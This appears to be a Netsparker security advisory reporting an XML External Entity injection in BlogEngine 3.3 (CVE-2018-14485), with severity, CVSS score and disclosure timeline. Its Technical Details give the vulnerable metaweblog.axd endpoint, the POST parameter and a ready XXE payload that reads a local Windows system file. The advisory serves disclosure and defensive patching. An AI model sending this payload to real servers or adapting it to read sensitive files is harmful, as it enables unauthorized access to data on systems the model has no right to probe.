BlogEngine 3.3 XML External Entity Injection

`XML External Entity Injection Vulnerability in BlogEngine 3.3  
  
Information  
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Advisory by Netsparker  
Name: XML External Entity Injection Vulnerability in BlogEngine 3.3  
Affected Software: BlogEngine  
Affected Versions: 3.3  
Homepage: https://blogengine.io/  
Vulnerability: XML External Entity (XXE) Injection Vulnerability  
Severity: High  
Status: Not Fixed  
CVE-ID: 2018-14485  
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H  
Netsparker Advisory Reference: NS-18-045  
  
Technical Details  
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Url: http://websiteurl-blogengine3.3/metaweblog.axd  
Parameter Name: BodyXML  
Parameter Type: POST  
Attack Pattern: <?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>  
  
Advisory Timeline  
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12th November 2018- First Attempt to Contact  
9th January 2019 - Advisory Released  
  
Credits & Authors  
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These issues have been discovered by Mustafa YalASSA+-n while testing Netsparker Web Application Security Scanner.  
  
About Netsparker  
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